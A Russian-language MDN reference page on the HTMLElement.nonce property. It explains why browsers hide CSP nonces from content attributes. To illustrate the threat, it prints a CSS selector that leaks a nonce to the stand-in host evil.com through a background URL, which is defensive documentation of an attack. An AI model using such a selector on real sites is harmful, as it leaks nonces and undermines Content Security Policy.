This page was translated from English by the community. Learn more and join the MDN Web Docs community.

View in English Always switch to English

HTMLElement: свойство nonce

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since ⁨март 2022 г.⁩.

Свойство nonce интерфейса HTMLElement возвращает одноразовый криптографический код, используемый Content Security Policy для определения возможности продолжения обработки запроса.

В современных реализациях элементы предоставляют свой атрибут nonce только скриптам (но не CSS-селекторам, например).

Примеры

Получение значения nonce

В прошлом не все браузеры поддерживали IDL-атрибут nonce, поэтому было распространено использование getAttribute в качестве запасного варианта:

js
let nonce = script["nonce"] || script.getAttribute("nonce");

Современные браузеры не дают получить значения nonce таким путём (будет возвращена пустая строка). IDL-свойство (script['nonce']) является единственным способом получения nonce.

Скрытие nonce помогает предотвратить их получение злоумышленниками с помощью механизмов, которые могут собирать данные из атрибутов содержимого, таких как этот селектор CSS:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Спецификации

Specification
HTML
# dom-noncedelement-nonce

Совместимость с браузерами

Смотрите также